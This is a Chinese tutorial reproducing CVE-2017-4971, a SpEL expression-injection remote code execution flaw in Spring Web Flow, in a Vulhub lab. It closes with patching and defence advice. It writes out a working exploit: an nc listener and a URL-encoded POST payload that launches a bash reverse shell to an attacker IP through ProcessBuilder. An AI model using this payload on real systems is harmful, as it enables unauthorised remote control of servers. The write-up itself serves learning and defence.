免责声明:本文所涉及的技术内容仅供学习和研究使用,旨在帮助网络安全从业人员和开发者了解漏洞原理并提升防御能力。请在授权环境下进行实验,严禁用于任何非法活动,否则后果自负。
- 漏洞简介
漏洞编号: CVE-2017-4971
影响组件: Spring Web Flow
影响版本: 2.4.0.RELEASE 至 2.4.4.RELEASE
漏洞类型: 远程代码执行 (RCE)
核心原因: Spring Web Flow 在处理数据绑定时,由于未能正确处理用户传入的表达式,导致了 SpEL (Spring Expression Language) 表达式注入,攻击者可借此执行任意代码。 - 漏洞原理分析
Spring Web Flow 是一个基于 Spring MVC 的框架,用于构建有状态的、基于流程的 Web 应用程序。
该漏洞的根源在于 MvcViewFactoryCreator 组件。当它处理视图渲染时,会解析请求参数并进行数据绑定。如果请求中包含以 _(下划线)开头的特定参数,Spring Web Flow 会将其内容作为 SpEL 表达式进行解析和执行。由于没有对表达式内容进行充分的过滤和限制,攻击者可以构造恶意的 SpEL 表达式,通过 Java 的反射机制调用危险类(如 java.lang.ProcessBuilder),从而在目标服务器上执行任意系统命令。 - 环境搭建 (使用 Vulhub)
为了快速复现该漏洞,我们使用 Vulhub 漏洞靶场,它通过 Docker 提供了一键式的漏洞环境。
编译并运行:docker-compose build
docker-compose up -d
sudo docker-compose ps 查看

漏洞复现步骤
步骤一:在攻击机上启动监听
我们需要一个监听端口来接收从靶机反弹回来的 Shell。在你的攻击机(非 Docker 容器)上打开一个终端,执行以下命令:
nc -lvnp 1234
该终端会处于等待连接的状态。
步骤二:访问目标并抓取请求
打开浏览器,访问靶场地址:http://<你的靶机IP>:8080/login。
配置好浏览器的代理,使用 Burp Suite 等抓包工具进行拦截。

步骤三:构造并发送 Payload
修改请求的 Body 部分。在原有参数的末尾,添加我们精心构造的恶意 Payload。
Payload 解释
我们的目标是执行一个反弹 Shell 命令:bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1。
这个命令需要通过 SpEL 表达式来执行。构造的 SpEL 表达式如下:
new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.137.140/1234 0>&1").start()
注意:
将 192.168.137.140 替换为你的攻击机 IP 地址。
将 1234 替换为你正在监听的端口。
由于 Payload 是通过 HTTP POST 请求的 Body 发送的,需要进行 URL 编码,特别是 & 符号需要编码为 %26,否则会被解析为参数分隔符。
最终添加到请求 Body 的 Payload 如下:&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.137.140/1234+0>%261")).start()=vulhub
&: 分隔前一个参数。
_(...): 触发 SpEL 表达式解析的关键部分。
=vulhub: 赋值部分,内容任意,但必须存在。
将这段代码添加到请求 Body 的末尾,然后点击 "Send" 发送请求。
步骤四:验证攻击结果
发送恶意请求后,立即切换回你之前运行 nc 命令的终端。如果一切顺利,你会看到一个 Shell 提示符,表示你已经成功获取了目标容器的 Shell。
至此,漏洞复现成功。
- 漏洞修复与防御建议
升级组件版本: 官方已在 Spring Web Flow 2.4.5.RELEASE 及以上版本中修复了此漏洞。开发者应立即升级到安全版本。
Web 应用防火墙 (WAF): 配置 WAF 规则,检测并拦截请求中包含 _(... 等 SpEL 注入特征的恶意流量。
输入验证: 严格遵循“一切输入皆不可信”的原则,对所有用户输入进行严格的验证和过滤,是防御各类注入漏洞的通用准则。
最小权限原则: 以非 root 用户运行 Web 应用,即使发生代码执行,也能在一定程度上限制攻击者造成的损害。 - 总结
CVE-2017-4971 是一个典型且危害严重的表达式注入漏洞。它提醒我们,在使用功能强大的框架和语言特性(如 SpEL)时,必须深入理解其安全边界,并对用户输入保持高度警惕。通过复现此漏洞,我们不仅掌握了攻击方法,更重要的是理解了其背后的原理,从而能够在未来的开发和运维工作中更好地进行防御。
没有评论